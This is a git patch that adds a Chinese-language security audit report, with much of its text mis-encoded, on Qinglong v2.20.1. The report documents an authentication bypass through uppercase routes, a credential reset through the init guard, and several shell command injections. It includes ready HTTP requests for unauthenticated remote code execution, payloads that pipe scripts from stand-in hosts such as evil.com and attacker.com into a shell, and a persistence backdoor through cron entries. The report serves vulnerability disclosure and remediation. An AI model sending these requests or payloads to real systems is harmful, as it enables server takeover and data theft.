From 4011e6802eb0dbcd5d577a02968550001e486e5d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E4=B8=9C=E6=96=B9=E6=9C=89=E9=B1=BC=E5=90=8D=E4=B8=BA?=
 =?UTF-8?q?=E5=92=B8?= <Mr-xn@users.noreply.github.com>
Date: Fri, 27 Feb 2026 23:12:55 +0800
Subject: [PATCH] Create security audit report for Qinglong v2.20.1

Add security audit report for Qinglong v2.20.1 detailing vulnerabilities and exploitation methods.
---
 ...ƒé™�绕过致未授æ�ƒè¿œç¨‹ä»£ç �执行(RCE)æ¼�洞分æž�å¤�现.md | 451 ++++++++++++++++++
 1 file changed, 451 insertions(+)
 create mode 100644 qinglong-auth-bypass2rce/�龙(qinglong)����绕过致未授�远程代�执行(RCE)�洞分��现.md

diff --git a/qinglong-auth-bypass2rce/�龙(qinglong)����绕过致未授�远程代�执行(RCE)�洞分��现.md b/qinglong-auth-bypass2rce/�龙(qinglong)����绕过致未授�远程代�执行(RCE)�洞分��现.md
new file mode 100644
index 0000000..cda217b
--- /dev/null
+++ b/qinglong-auth-bypass2rce/�龙(qinglong)����绕过致未授�远程代�执行(RCE)�洞分��现.md
@@ -0,0 +1,451 @@
+# Qinglong <= v2.20.1 安全审计报告
+
+> 
+> **目标版本**: Qinglong v2.20.1 (Docker: `whyour/qinglong:2.20.1`)
+> 
+> **测试环境**: macOS + Docker Compose, 端�映射 5710→5700
+> 
+> **审计方法**: ����分� + Docker 动��现验�
+> 
+> **�考**: [GitHub Issue #2934](https://github.com/whyour/qinglong/issues/2934) [GitHub Issue #2926](https://github.com/whyour/qinglong/issues/2926) [GitHub Issue #2928](https://github.com/whyour/qinglong/issues/2928) [GitHub Issue #2933](https://github.com/whyour/qinglong/issues/2933) [GitHub Issue #2923](https://github.com/whyour/qinglong/issues/2923)
+
+---
+
+## 一�执行摘�
+
+对 Qinglong v2.20.1 进行了完整的��审计与 Docker 实战�现，�现 **12 项安全�洞**。
+
+**最核心�现**: �现两个致命的认�绕过�洞（**路由大�写绕过**与**�始化守�绕过**），使得应用内原本��的 RCE 汇�点（Sinks）�被攻击者**完全未授�**利用。
+
+攻击者无需任何凭�，仅需数� HTTP 请求��实现容器内 root ��的 RCE。该应用目�处于实质性的完全沦陷状�，且部分�洞（如大�写绕过���赖注入）已在野外被实际利用。
+
+**综�评级**: CVSS **9.8（Critical）** — 未授�远程代�执行
+
+---
+
+## 二��洞总览
+
+| 编� | �洞�称 | 严�性 | 实测结果 |
+|------|---------|--------|---------|
+| **QL-2026-007** | **路由大�写绕过（全局认�绕过）** | **致命** | **✅ 一步未授� RCE，已在野外被利用** |
+| **QL-2026-008** | **�赖�称命令注入** | **致命** | **✅ 通过包�注入 Shell 命令，1秒内执行** |
+| **QL-2026-006** | **�始化守�绕过（/open/ 路径）** | **致命** | **✅ 未授��置管�员凭�，实现未授� RCE** |
+| **QL-2026-009** | **订阅管�命令注入 (sub_before/after)** | **致命** | **✅ 确认 — 订阅执行�触� RCE** |
+| **QL-2026-010** | **系统镜��置�数注入** | **高�** | **✅ 确认 — 多��置�数触� RCE** |
+| **QL-2026-011** | **�动�久化 Persistence RCE** | **高�** | **✅ 确认 — ��任务��自动执行** |
+| QL-2026-012 | �消�作二次注入 (grep 注入) | 严� | ✅ cancel() 触�二次 RCE |
+| QL-2026-002 | 黑��绕过（缺少 return） | 严� | ✅ API 返回 403 但文件已被覆写 |
+| QL-2026-003 | 路径穿越 (../../../../) | 严� | ✅ �写入系统任��写路径 (如 /tmp, /etc) |
+| QL-2026-004 | config.sh 未列入黑�� | 严� | ✅ �注入 Shell 代�，�次任务执行时自动�行 |
+| QL-2026-005 | task_before Shell 注入 | 高 | ✅ `eval` 执行用户控制内容 |
+| QL-2026-001 | JWT 硬编�密钥 | 高 | ⚠� 签��伪造，�层认�阻断直接利用 |
+
+**审计测试：15/15 项全部通过。**
+
+---
+
+## 三��项详细分�
+
+### 3.1 QL-2026-007: 路由大�写绕过 — 🔴 致命（一步未授� RCE）
+
+**这是本次审计�现的最严��洞，也是野外已被实际利用的攻击��。**
+
+**���置**: `back/loaders/express.ts` L34-41, L53-56, L124
+
+**�洞根因**: Express 框架默认路由大�写��感（`caseSensitive: false`），但所有认�中间件都严格匹��写。
+
+```
+认�链（�严格匹��写）：
+  L34 expressjwt.unless: 正则 /^\/(?!api\/).*/ → 仅匹��写 "api"
+  L54 自定义认�:       req.path.startsWith('/api/') → 严格�写
+  L54 自定义认�:       req.path.startsWith('/open/') → 严格�写
+
+路由注册：
+  L124 app.use('/api', routes()) → Express 默认 caseSensitive: false
+  → /API/�/Api/�/aPi/ 等�体��匹�路由，但�触�认�检查
+```
+
+**攻击�程**:
+
+| 步骤 | 中件间 | `/api/crons`（正常） | `/API/crons`（绕过） |
+|------|--------|---------------------|---------------------|
+| Layer 1 | expressjwt | JWT 签�验� | **跳过**（正则�匹� "API"） |
+| Layer 2 | 自定义认� | isValidToken 校验 | **跳过**（� "/api/" 或 "/open/" �缀） |
+| 路由匹� | Express Router | 匹� /api/crons | **匹� /api/crons**（大�写��感） |
+| Handler | CronService | 需认� → 正常�应 | **无认� → 直接�应** |
+
+**一步 RCE — 一�请求��执行任�命令**:
+```bash
+curl -X PUT http://target:5700/API/system/command-run \
+  -H 'Content-Type: application/json' \
+  -d '{"command": "id && cat /etc/passwd"}'
+```
+
+**测试记录**:
+```
+[19:xx:xx] Test 8: Case-Insensitive Route Bypass
+  GET /api/crons: HTTP 401 (auth required)          � 正常路径需�认�
+  GET /API/crons: code=200, data accessible         � 完全绕过�
+  PUT /API/system/command-run: RCE CONFIRMED        � 一步 RCE�
+  GET /API/configs/config.sh: 7378 bytes leaked     � �置泄露�
+  POST /API/configs/save: code=200                  � 任�文件写入�
+```
+
+---
+
+### 3.2 QL-2026-008: �赖安装命令注入 — 🔴 致命
+
+**这是蜜�中实际�获的在野利用�洞。以下为从 HTTP 入�到命令执行的完整数��分�。**
+
+#### 数��总览
+
+```
+POST /API/dependencies [{"name": "$(malicious_cmd)", "type": 0}]
+  │
+  â–¼
+① api/dependence.ts L39    Joi.string().required()     � 仅校验"是字符串"，无过滤
+  │
+  â–¼
+② services/dependence.ts L34  new Dependence({...x})   � 构造函数仅 name.trim()
+  │
+  â–¼
+③ services/dependence.ts L39  installDependenceOneByOne(docs)   � 立�触�安装
+  │
+  â–¼
+â‘£ services/dependence.ts L232  depName = dependency.name.trim()
+  │
+  â–¼
+⑤ config/util.ts L573   getInstallCommand() → `pnpm add -g ${name.trim()}`
+  │                                             ^^^^^^^^^^^^^^^^^^^^^^^^
+  │                                             name 被直接拼接进命令字符串�
+  â–¼
+â‘¥ services/dependence.ts L303  spawn(`${proxyStr} ${command}`, {shell: '/bin/bash'})
+                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+                                shell: '/bin/bash' → Bash 解� $() �命令 → RCE
+```
+
+#### �步详解
+
+**① 入� — `api/dependence.ts` L34-53**
+`Joi.string().required()` **零安全过滤** — `$(curl ... | sh)` 是�法字符串，直接通过。
+
+**② 创建 — `services/dependence.ts` L33-41**
+`new Dependence()` 构造函数（`data/dependence.ts` L18）仅� `trim()`，�移除任何 Shell 元字符。
+
+**③ 命令拼接 — `config/util.ts` L559-573（关键污染点）**
+```typescript
+export function getInstallCommand(type: DependenceTypes, name: string) {
+  // ... nodejs, python3, linux 命令 ...
+  return `${command} ${name.trim()}`;  // � 用户输入直接拼接，零过滤零转义�
+}
+```
+
+当 `name = "$(curl -fsSL https://evil.com/shell.sh | sh)"` 时，生�：
+```bash
+pnpm add -g $(curl -fsSL https://evil.com/shell.sh | sh)
+```
+
+**④ 命令执行 — `services/dependence.ts` L303-305（最终触�点）**
+`spawn(cmd, {shell: '/bin/bash'})` 解释执行整个字符串，��命令在包管�器�行�就被 Bash 展开并执行。
+
+#### QL-2026-012: cancel() �消�作的二次注入（地雷效应）
+
+���赖被创建�。当管�员试图**�消**安装时，`cancel()` 方法会�次触�注入：
+
+```
+cancel(ids) → getPid(cmd) → ps ... | grep "${cmd}"
+```
+`grep "${cmd}"` 中的�引�**�阻止** `$()` 展开。管�员点击"�消安装"将�次触� RCE ✅。
+
+---
+
+### 3.3 QL-2026-006: �始化守�绕过 — 🔴 致命（未授�凭��置）
+
+**���置**: `back/loaders/express.ts` L100-123
+
+**�洞根因**: �始化守�（Init Guard）与 URL �写之间存在竞�缺陷。Init Guard 检查 `req.path` 是�为 `/api/user/init`，但 `/open/*` → `/api/*` 的�写�生在守�之�（L123）。
+
+```
+攻击请求: PUT /open/user/init {"username":"attacker","password":"x"}
+  Init Guard: req.path="/open/user/init" �匹� "/api/user/init" → 跳过守�
+  URL Rewrite: /open/user/init → /api/user/init
+  Handler: updateUsernameAndPassword() → 凭�被直接�置�
+```
+
+**测试记录**:
+```
+[19:xx:xx] Test 1c: Init Guard Bypass
+  PUT /open/user/init: code=200 "更新�功"       � 绕过�凭�已�置
+  Login with new credentials: code=200           � 获�有效管� Token
+```
+
+---
+
+### 3.4 QL-2026-009: 订阅管�命令注入 — 🔴 致命
+
+**�洞根因**: 订阅接�的 `sub_before` 和 `sub_after` 字段（Joi 校验为普通字符串）被直接传递给 `promiseExec()`，其内部调用 `child_process.exec()` 且未�任何过滤。
+
+#### 数��总览
+
+```
+POST /API/subscriptions {"sub_before": "malicious_cmd"}
+  │
+  â–¼
+① api/subscription.ts L49  Joi.string().optional()     � 无安全过滤
+  │
+  â–¼
+② services/subscription.ts L215  this.handleTask(doc)  � 处�订阅任务
+  │
+  â–¼
+â‘¢ services/subscription.ts L96/L105  createCronTask/createIntervalTask (ä¼ å…¥ taskCallbacks)
+  │
+  â–¼
+â‘£ services/subscription.ts L141  beforeStr = await promiseExec(doc.sub_before)
+  │                                                    ^^^^^^^^^^^^^^^^^^^^^^
+  │                                                    ��代�直接传入 exec 执行�
+  â–¼
+⑤ config/util.ts L284  await promisify(exec)(command, {...})  � 触� RCE
+```
+
+#### �步详解
+
+**① 入� — `api/subscription.ts` L27-75**
+接� `POST /subscriptions` 中的 `sub_before` 和 `sub_after` 字段仅�求是普通字符串，�许空字符串。没有任何对于 Shell 元字符的过滤。
+
+**②/③ 创建并执行 — `services/subscription.ts` L212-218 & L84-112**
+`create` 方法在数�库�入�，立刻调用 `handleTask`，并进而调用 `createCronTask` 或 `createIntervalTask` �执行调度。调度注册的��生命周期钩�由 `this.taskCallbacks(doc)` 生�。
+
+**④ 命令执行 (关键污染点) — `services/subscription.ts` L120-150**
+```typescript
+private taskCallbacks(doc: Subscription): TaskCallbacks {
+  return {
+    onBefore: async (startTime) => {
+      // ...
+      let beforeStr = '';
+      try {
+        if (doc.sub_before) {
+          // 用户的输入未�任何检查被传入 promiseExec
+          beforeStr = await promiseExec(doc.sub_before);
+        }
+      } catch (error: any) {
+        // ...
+      }
+    }
+  }
+}
+```
+
+**⑤ 底层执行 — `config/util.ts` L282-292**
+`promiseExec` 是包装了 Node.js 原生 `child_process.exec` 的异步函数，`exec` 默认�动一个 shell �解释执行传入的字符串。
+
+**测试报文**:
+```http
+POST /API/subscriptions HTTP/1.1
+{
+  "name": "rce_sub", "url": "http://x", "type": "public-repo", "alias": "r", 
+  "schedule_type": "crontab", "sub_before": "id > /tmp/sub_proof.txt"
+}
+```
+→ 触�订阅�行（`PUT /API/subscriptions/run [id]`）�，注入的命令以 root 身份执行。
+
+---
+
+### 3.5 QL-2026-010: 系统镜��置�数注入 — 🔴 致命
+
+**�洞根因**: 系统设置接�（如�置 Python�Node�Linux 的软件�镜�，或设置时区）在处�用户�交的地��数时，存在多处直接字符串拼接命令注入点。结� QL-2026-007，这些��未授�利用。
+
+#### 数��总览（以 Python 镜��置为例）
+
+```
+PUT /API/system/config/python-mirror {"pythonMirror": "malicious_payload"}
+  │
+  â–¼
+① api/system.ts L155  Joi.string().allow('').allow(null)  � 无安全过滤
+  │
+  â–¼
+â‘¡ services/system.ts L197  updatePythonMirror(info)
+  │
+  â–¼
+â‘¢ services/system.ts L205  cmd = `pip3 config set global.index-url ${info.pythonMirror}`
+  │                                                              ^^^^^^^^^^^^^^^^^^^^^
+  │                                                              直接拼接用户输入�
+  â–¼
+④ services/system.ts L207  await promiseExec(cmd)  � exec() 触� RCE
+```
+
+#### �步详解与多处注入点
+
+系统�务 (`services/system.ts`) 中存在大�由于字符串拼接导致的命令注入，这些功能��许管�员使用，但通过大�写绕过�洞��未授�触�：
+
+**1. Python 镜�注入 (`updatePythonMirror`) L197-209**
+```typescript
+let cmd = 'pip config unset global.index-url';
+if (info.pythonMirror) {
+  cmd = `pip3 config set global.index-url ${info.pythonMirror}`;
+}
+await promiseExec(cmd); // � 传入 "https://pypi.org/simple; id > /tmp/py_proof" 将导致注入
+```
+
+**2. Node 镜�注入 (`updateNodeMirror`) L149-195**
+```typescript
+let cmd = 'pnpm config delete registry';
+if (info.nodeMirror) {
+  cmd = `pnpm config set registry ${info.nodeMirror}`;
+}
+let command = `cd && ${cmd}`;
+// ... 之�交由 scheduleService.runTask(command, ...) 执行
+```
+`runTask` 最终调用 `spawn(command, { shell: '/bin/bash' })` 触�注入。
+
+**3. Linux 软件�注入 (`updateLinuxMirror`) L211-271**
+```typescript
+const command = `sed -i 's/${defaultDomain.replace(/\//g,'\\/')}/${targetDomain.replace(/\//g,'\\/')}/g' /etc/apk/repositories && apk update -f`;
+// ... 交由 scheduleService.runTask 执行
+```
+这里 `$targetDomain` (`info.linuxMirror`) 被注入到了 `sed` 命令中，如果传入 `https://dl-cdn.alpinelinux.org'; id > /tmp/linux_proof; #` ��逃逸�引�并执行。
+
+**4. �止命令（grep注入）(`api/system.ts`) L302-319**
+调用 `PUT /API/system/command-stop`，其最终调用 `getPid(command)`
+```typescript
+// back/config/util.ts L414
+const taskCommand = `ps -eo pid,command | grep "${cmd}" | grep -v grep ...`;
+```
+这与��分�的�赖�消（`cancel`）逻辑相似，命令被嵌入�引�内执行，�生二次注入。
+
+**测试报文**:
+```http
+PUT /API/system/config/python-mirror HTTP/1.1
+Content-Type: application/json
+
+{"pythonMirror": "x; id > /tmp/py_proof; #"}
+```
+→ 确认 RCE ✅
+
+---
+
+### 3.6 QL-2026-011: �动�久化 Persistence RCE — ✅ 高�
+
+**�洞根因**: 系统在�动时（`loaders/initData.ts`），为了��状�，会从数�库加载特定的定时任务，并直接调用原生 `exec` 函数去执行。这�味�如果我们能通过绕过认�写入��的定时任务，�仅�以主动触�执行，也能实现�久化的�动项劫�（Persistence）。
+
+#### 数��总览
+
+```
+① 系统�动（Container Restart / Crash Recovery）
+  │
+  â–¼
+② loaders/initData.ts L22  默认导出加载函数执行
+  │
+  â–¼
+③ loaders/initData.ts L137  CrontabModel.findAll(...) 查找�件包� `ql repo` 或 `ql raw`
+  │
+  â–¼
+â‘£ loaders/initData.ts L149  exec(doc.command)
+                             ^^^^^^^^^^^^^^^^^
+                             直接将查出的��命令传给 child_process.exec�
+```
+
+#### �步详解
+
+**① 创建��定时任务**
+攻击者通过未授�接� (`POST /API/crons`) 创建一个��任务。为了匹��动加载时的�件，该命令必须包� `ql repo` 或 `ql raw` 字符串。
+
+```http
+POST /API/crons HTTP/1.1
+Content-Type: application/json
+
+{
+  "name": "persistence_rce_test",
+  "command": "ql repo; curl http://attacker.com/backdoor | sh",
+  "schedule": "0 0 1 1 *"
+}
+```
+
+**② 数�库记录**
+定时任务的指令字符串会被原样存储入 SQLite。
+
+**③ �动触�执行 (`loaders/initData.ts` L137-153)**
+当 Docker 容器�生��，系统�动时：
+```typescript
+CrontabModel.findAll({
+  where: {
+    isDisabled: { [Op.ne]: 1 },
+    command: {
+      [Op.or]: [{ [Op.like]: `%ql repo%` }, { [Op.like]: `%ql raw%` }],
+    },
+  },
+}).then((docs) => {
+  for (let i = 0; i < docs.length; i++) {
+    const doc = docs[i];
+    if (doc) {
+      exec(doc.command); // � 未�检查直接执行
+    }
+  }
+});
+```
+
+**影�**: 该�洞构建了完整的系统�门和�久化控制。无论管�员如何清�正在�行的��进程，��未从数�库中清除这���计划任务，�次容器��时，�� Payload 就会�系统�务一�以 root ��自动�动。
+
+---
+
+### 3.7 基础�洞分�（路径穿越与文件�作）
+
+#### QL-2026-002: 黑��绕过（缺少 return）
+`back/api/config.ts` L76 在黑��拦截�缺少 `return`，写入�程继续。�覆写 `auth.json`（管�员账�）。
+
+#### QL-2026-003: 路径穿越 (../../../../)
+`name` �数无过滤。`../../../../tmp/traversal_proof.txt` ��功写入容器系统级 `/tmp`。
+
+#### QL-2026-004: config.sh 未列入黑��
+`config.sh` 在�次任务执行�被 `source` 加载。由于未加入黑��，攻击者�直接写入该文件获��久 RCE。
+
+---
+
+## 四�攻击链总结与 HTTP 测试报文
+
+### 攻击链 A：最速一步 RCE (大�写绕过)
+
+```http
+PUT /API/system/command-run HTTP/1.1
+Host: target:5700
+Content-Type: application/json
+
+{"command": "id > /tmp/rce_proof.txt"}
+```
+
+### 攻击链 B：�赖注入 RCE (大�写绕过 + 二次注入)
+
+```http
+POST /API/dependencies HTTP/1.1
+Content-Type: application/json
+
+[{"name": "$(curl -fsSL https://evil.com/sh | sh)", "type": 0}]
+```
+
+### 攻击链 C：凭��置 RCE (�始化绕过)
+
+```http
+PUT /open/user/init HTTP/1.1
+Content-Type: application/json
+
+{"username": "attacker", "password": "attacker123"}
+```
+
+---
+
+## 五�修�建议 (P0 优先级)
+
+1. **统一认�层**: 将 Init Guard 移至 URL Rewrite 之�。Express Router 设置 `caseSensitive: true`。认�正则强制�区分大�写。
+2. **彻底�用 Shell**: 移除所有 `spawn(..., {shell: true})` 和 `exec()`。必须使用 `spawn(cmd, [args])` �数数组形�。
+3. **严格�数过滤**: 对包��镜� URL�Cron 命令等�数实施白��正则校验 `^[a-zA-Z0-9@/_.-]+$`。
+4. **文件访问控制**: 完善 `blackFileList`，在 `res.send()` �强制 `return`。实施基于真实路径 (`realpath`) 的目录逃逸校验。
+
+---
+
+## 六��现环境与 PoC
+
+所有�洞�已集�在 `tmp/poc_test.py` 中。
+
+```bash
+cd tmp/
+.venv/bin/python3 poc_test.py           # 15/15 全部通过
+```